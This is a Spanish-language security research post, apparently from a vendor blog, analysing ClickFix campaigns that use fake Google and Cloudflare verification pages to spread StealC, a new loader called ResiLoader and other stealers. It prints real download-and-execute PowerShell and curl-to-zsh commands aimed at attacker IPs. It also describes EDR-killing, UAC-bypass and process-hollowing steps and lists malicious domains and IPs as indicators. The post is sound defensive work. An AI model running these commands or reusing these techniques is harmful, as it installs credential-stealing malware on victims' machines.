Actualizado el 6 de julio para añadir conexiones con SyncTDS y TrafficTDS.
Los ataques ClickFix, que engañan a los usuarios para que ejecuten comandos maliciosos , siguen evolucionando. Esta última campaña utiliza páginas de verificación falsas de Google y Cloudflare para convencer a las víctimas de que infecten sus propios dispositivos.
Un solo error puede instalar software malicioso que robe contraseñas y otros datos confidenciales, otorgue a los atacantes acceso remoto a su computadora o descargue software malicioso adicional que pueda tomar el control total de su sistema.
Hemos descubierto varias campañas que utilizan la misma infraestructura para distribuir malware, entre ellas HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport y un programa de robo de datos basado en Rust.
En una de las cadenas de infección, una versión troyanizada de la aplicación de mensajería legítima Franz descarga un cargador previamente no documentado llamado ResiLoader, que desactiva el software de seguridad antes de desplegar el programa espía StealC.
Antes de analizar los detalles técnicos, aquí le explicamos cómo evitar convertirse en la próxima víctima.
Cómo mantenerse a salvo
Los ataques ClickFix se basan en convencerte de que ejecutes comandos tú mismo. El enfoque más seguro es simple:
- Nunca copies ni ejecutes comandos de un sitio web a menos que sigas las instrucciones de una fuente confiable y comprendas exactamente lo que hace el comando.
- Tenga cuidado con las páginas de verificación. Google, Cloudflare, Microsoft y otros servicios legítimos nunca le pedirán que pegue comandos de PowerShell en Windows para demostrar que eres humano o solucionar un problema.
- No te dejes llevar por la urgencia. Las páginas de verificación falsas suelen usar temporizadores, contadores de visitas o advertencias para presionarte a actuar con rapidez.
- Mantén tu software de seguridad actualizado. La protección en tiempo real y la protección web pueden ayudarte a bloquear sitios web maliciosos antes de que accedas a ellos.
- Cuestiona las instrucciones técnicas inesperadas. Si un sitio web te indica que abras PowerShell, el Símbolo del sistema o la Terminal, detente y verifica las instrucciones a través de los canales de soporte oficiales de la empresa.
Consejo práctico: Malwarebytes Browser Guard puede avisarte cuando un sitio web intenta copiar contenido al portapapeles, una táctica común utilizada por las páginas de ClickFix.
Análisis técnico
Las campañas analizadas en esta investigación han estado activas al menos desde finales de 2025 y utilizan diversas páginas falsas de Google y Cloudflare para distribuir malware. Si bien los señuelos difieren, comparten gran parte de la misma infraestructura y cadena de infección, y los atacantes prueban continuamente nuevos métodos de distribución y cargas útiles.
Diferentes señuelos, un mismo objetivo.
La mayoría de las campañas comparten varias características:
- Uso de la carpeta
C:\ProgramData\Zoomspara extraer etapas posteriores - Comandos de PowerShell ClickFix que siguen patrones similares
- Uso de buckets de Cloudflare R2 para la entrega de cargas útiles.
- Direcciones IP alojadas por ASN Dedik Services Limited
- Respuestas HTML que contienen solo la frase
"hehe"
Estos indicadores han cambiado con el tiempo, por lo que no aparecen en todas las cadenas de infección. Las campañas siguen evolucionando, con la introducción regular de nuevas cargas útiles y métodos de entrega. Por ejemplo, en algunos casos, se utiliza la dirección IP directamente para la distribución de la carga útil en lugar de utilizar contenedores.
El comando final copiado por el usuario generalmente sigue este patrón:
powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
El puerto y la ruta no siempre están presentes en los casos analizados; los puertos son aleatorios, pero algunos de los utilizados son: 6600, 9900, 5506, 7895, 7493, 149, 8442.
Para ejecutar estos comandos, se utilizan varias plantillas relacionadas con ClickFix, principalmente de Google y Cloudflare . También detectamos que, en algunos casos, el comando de PowerShell se distribuía a través del marco de trabajo de IClickFix.
Observamos que estas campañas de ClickFix se distribuían a través de:
- Sitios web antiguos que probablemente hayan caducado y hayan sido recomprados por el/los actor/es.
- Páginas de CloudFlare (
.pages.devdominios). - Sitios web comprometidos.
- Servicios fraudulentos, por ejemplo, relacionados con códigos QR o acceso a archivos web.
Señuelos de Google ClickFix
Los responsables de estas campañas utilizan diversas páginas y kits HTML relacionados con Google.
Una de las trampas suplanta la verificación de Google reCAPTCHA. Las páginas están alojadas en URL aleatorias que muestran contenido falso o malicioso. Estos dominios suelen ser registros antiguos que recientemente comenzaron a resolverse a nuevas direcciones IP, lo que sugiere que fueron reutilizados para la campaña.
Algunas de estas páginas tienen parámetros de URL como “zoneid”, “cost”, “device”, “country”, “clickid”, por ejemplo:
/conf/captcha.html?zoneid=10420852/wincapbot/nobot.html/xmr/trkuste.php?zone=5327134bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop


En este caso, las funciones relacionadas con ClickFix se implementan en la clase CustomCaptchaEl comando está presente en claro, sin ningún tipo de ofuscación.

Otro método de distribución utiliza Cloudflare Pages alojado en .pages.dev subdominios.

En este caso, la página HTML se ofusca declarando varias variables y aplicándoles la operación XOR. El código desofuscado se llama SECURITY GATEWAY y está compuesto por las funciones GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, y PanelController.
El código permite a los atacantes recuperar el comando de forma remota o local. En este ejemplo, el comando malicioso de PowerShell se almacena localmente.

También descubrimos que algunos de estos dominios han distribuido otro señuelo en el pasado, en este caso asociado con un inicio de sesión no autorizado en Google. Este señuelo de ClickFix solicita al usuario que copie y pegue el comando malicioso para establecer su dispositivo como principal.

Lo interesante de este kit ClickFix es que incluye una "puerta de aprobación", como se describe en los comentarios, y que el atacante debe elegir manualmente en el panel qué comando debe ejecutar el usuario.


En campañas más recientes, hemos detectado un señuelo de ClickFix relacionado con Google Meet, que requiere copiar y pegar un comando malicioso para solucionar problemas de audio.

En los casos analizados, el punto final /api/driver-clipboard.php devolvió el siguiente comando malicioso:
{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""}
Otros señuelos
Los responsables de esta campaña utilizan diversos kits y señuelos, en su mayoría relacionados con Google. Sin embargo, hemos detectado otros señuelos que copian comandos relacionados con la misma infraestructura.
Los atacantes que están detrás de estas campañas también comprometen múltiples sitios web utilizando diferentes plantillas relacionadas con el señuelo CloudFlare ClickFix .


Hemos detectado varias plantillas utilizadas para páginas de CloudFlare. El comando aparece en texto plano o, en algunos casos, ofuscado en los casos analizados.



También detectamos algunos sitios web de servicios falsos creados específicamente para este fin. Por ejemplo, un sitio llamado "Generador de códigos QR" muestra un código QR ofuscado y solicita al usuario que ejecute un comando de PowerShell para verificar que no se trata de un robot.

En este caso, el comando está codificado en base-64:

Descargador de PowerShell
El comando ClickFix ejecutado por el usuario decodifica un script y lo coloca en la carpeta Temp con el nombre tmp{4 char}.tmp.ps1.
Hemos detectado varias variantes de este script, pero las versiones recientes hacen lo siguiente:
- Crear la carpeta
C:\ProgramData\Zooms. - Descarga la siguiente etapa desde un bucket de CloudFlare y guárdala en
C:\ProgramData\ZoomsEn algunas variantes del script, la siguiente etapa se descarga directamente desde una IP. - Envíe la información de la máquina comprometida a
http://{IP}/dl-callbackEn algunas variantes del guion, esta parte no está presente.

Los atacantes detrás de estas campañas utilizan una gran variedad de cargas útiles. Estas campañas distribuyen una amplia gama de cargas útiles. La siguiente tabla resume algunos de los nombres de archivo descargados y el malware que instalan. En muchos de los casos analizados, la carga útil final se distribuyó mediante el secuestro de DLL, como veremos más adelante con el malware StealC.
| Archivo distribuido | Malware distribuido |
libEGL.zip, Safe-1.zip | Aplicación Electron troyanizada, ResiLoader y StealC |
Test.msi | Deno Loader y PowerShell Stealer |
arworks.zip | Ladrón de Amatera |
water-night.zip | Remus el ladrón |
Setup.msi, Invintrum_first.msi | Soporte de red |
traffic1.msi | Cargador de castillo |
ibrowser.exe | Ladrón de óxido |
Analizamos un nuevo cargador llamado ResiLoader que distribuye StealC. También detectamos que el atacante en las campañas más recientes ha comenzado a usar Deno para distribuir un programa malicioso desarrollado en PowerShell; el análisis de esta cadena de infección podría ser el tema de una futura publicación en el blog.
Descargas de aplicaciones Electron troyanizadas ResiLoader
En este caso, el archivo ZIP se descargó de:
pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip
Después de la extracción a:
C:\ProgramData\Zooms\libEGL.zip_ext
El archivo zip contiene una versión troyanizada de la aplicación de mensajería de código abierto llamada “Franz”:

El código malicioso está implementado en el index.js archivo:

El programa de descarga realiza las siguientes operaciones:
- Decodifica las cadenas con la función
HC(). - Lecturas
readme.txt, espera una clave de campaña del formularioAAAA-BBBB, lo devuelve como una matriz de tokens. En este caso el nombre esresiloader-1y para ello llamamos “ResiLoader” a la DLL descargada. - Lecturas
%APPDATA%\setup.txt; si no está presente, genera una cadena aleatoria de 8 caracteres y la guarda. - Obtención de persistencia mediante
app.setLoginItemSettings. - Envía una solicitud POST a
https[:]//completstep[.]com/api/y elaborar la respuesta JSON- Si
task.eestá presente, se ejecutaeval(task.e)Permite al atacante ejecutar código JavaScript arbitrario. - Si
task.filesestá presente, crea%TEMP%\<Date.now()>\, decodificar y escribir cada archivo; si algún nombre de archivo termina en.exe, ejecútalo a través dechild_process.exec.
- Si
En nuestro caso recibimos un archivo ZIP que realiza el secuestro de DLL de ssh-add.exe:
{"task":{"name":"JUNE18USY","files":{
"msys-2.0.dll":"<base64>",
"msys-crypto-3.dll":"<base64>",
"msys-gcc_s-seh-1.dll":"<base64>",
"ssh-add.exe":"<base64>" }}}
Después, el archivo ejecutable se ejecutó con:
C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe""
ResiLoader
El msys-crypto-3.dll es un ofuscado .NET NativeAOT loader que implementa la evasión de AV/EDR utilizando una técnica BYOD, obtiene persistencia y finalmente carga el ladrón StealC. No encontramos una atribución específica para este cargador y por eso lo llamamos "ResiLoader" basándonos en la cadena presente en anteriores readme.txt.
El cargador contiene varias cadenas de texto, algunas legibles y otras cifradas. Tras descifrarlas, es posible comprender completamente el funcionamiento de ResiLoader.
MANPO: ReadModule len=...
MANPO: magicOffset=...
…
PERS: FAIL all file copies failed, skipping run key
PERS: FAIL both HKLM and HKCU Run key writes failed
…
RUNPE: CreateProcess failed
RUNPE: PEB patched
RUNPE: VirtualAllocEx failed
…
POST: RunForever exited (unexpected)
POST: entering RunForever
POST: hollow=
La cargadora realiza las siguientes operaciones:
- Extraiga el blob codificado que contiene dos cargas útiles que leen el marcador.
AtLorenBasey la longitud del blob codificado. Después, decodifica el blob y descifra el controlador.pcdhost.sys(OPSWAT
Controlador AppRemover) y carga útil StealC utilizando un algoritmo de descifrado personalizado. - Finaliza más de 140 procesos relacionados con procesos EDR/AV que utilizan el controlador eliminado.
- Realizar omisión de UAC mediante
ICMLuaUtilInterfaz COM elevada. - Crear una carpeta
C:\ProgramData\Google Update, copiándose a sí mismo; añadiendo persistencia mediante la clave de registro RUN. cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe
Al final, el cargador realiza el vaciado del proceso. ServiceModelReg.exe para ejecutar el ladrón StealC.
Conexiones con SyncTDS y TrafficTDS
Hemos encontrado otras campañas y kits de ClickFix potencialmente vinculados al mismo operador o operadores, aunque no hay pruebas suficientes para confirmarlo.
El dominio dasdasdikasjdas[.]click se resuelve en una de las IP relacionadas con esta campaña 151[.]240[.]151[.]126El dominio mostraba anteriormente un panel llamado “SyncTDS”. Encontramos más de 20 dominios que muestran el panel relacionado con SyncTDS. Este panel también ha sufrido cambios gráficos con el tiempo.
Uno de estos dominios “SyncTDS”, maskingofking[.]xyz, resuelve 193.111.117[.]6 que alberga varios dominios relacionados con ClickFix y un directorio abierto que contiene un kit interesante llamado “TrafficTDS”. Este kit permite al operador admitir diferentes cargas útiles relacionadas con Windows , Linux, MacOS y Android En este caso, las páginas que se muestran al usuario están relacionadas con ClickFix mediante un señuelo de CloudFlare.



Una de las partes más interesantes de este kit es la sección " Administrador de APK ", que permite al operador mostrar al usuario una página de "Actualización necesaria" para descargar el APK malicioso.



COI
Picadillo
72907d0ca3258365838626f6a8d993a6: DLL ResiLoader
0234E3188F2883A438B3F2BEAB7A78B2: StealC
6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus
206ce339febca0c3bcc850f42595fc63: Ladrona de Amatera
eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT
b8d53740024d126cb55f83854335a4ab: Ladrón de óxido
Dominios
Distribuye las páginas de ClickFix:
onegeekworld[.]com
thefirmos[.]com
antibotv3[.]com
centralwildcats[.]com
cloud.antibotv3[.]com
cloudautosolutions[.]com
sunseekersupply[.]com
123clocks[.]com
orcanegames[.]com
rwmonitoring[.]com
100furniture[.]com
nepalcharchaa[.]com
p-floribunds.pages[.]dev
pg-altirade2.pages[.]dev
pg-cordivant-m6.pages[.]dev
g-luminence.pages[.]dev
generator-qrcode[.]online
regdev-google[.]com
khosla[.]capital
eorgke09054909j[.]com
dropboxi[.]com
Cubos de CloudFlare utilizados para la distribución de carga útil :
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-620528e2dc874e16937673265aa23d39.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-9682d5896df841679c5a17eb41273f89.r2[.]dev
pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev
pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
unitedstateverif[.]com: distribución de carga útil
bigflaredefence[.]com: distribución de carga útil
popularcard[.]shop: Ladrón de óxido C2
xzz[.]proxygrid[.]cc: Amatera Stealer C2
completstep[.]comCargador C2
eventlogerps1[.]ink: Cargador Deno
be231ro963[.]com: Cargador Deno
IPs
IP utilizada para la distribución de la carga útil :
151.240.151[.]126
85.239.149[.]16
85.239.149[.]40
93.152.224[.]29
151.240.151[.]46
93.152.224[.]167
85.239.149[.]78
192.69.195[.]131
135.181.171[.]40
94.26.83[.]206
91.92.34[.]128
85.239.144[.]31
93.152.224[.]39
94.26.90[.]112
146.19.248[.]120: StealC C2
Expresiones de gratitud
- Dominio relacionado reportado: https://x.com/stop_spammerz/status/2070152741037477960
- Dominio relacionado reportado: https://x.com/Yuki27183/status/2047354005605777850
- Usuario infectado reportado en Reddit: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/
- Posible cadena de infección relacionada : https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026
- Se ha informado de un directorio abierto similar: https://x.com/malwrhunterteam/status/2062241642627694690
- Se ha informado de una campaña similar: https://x.com/stop_spammerz/status/2062269326292324592




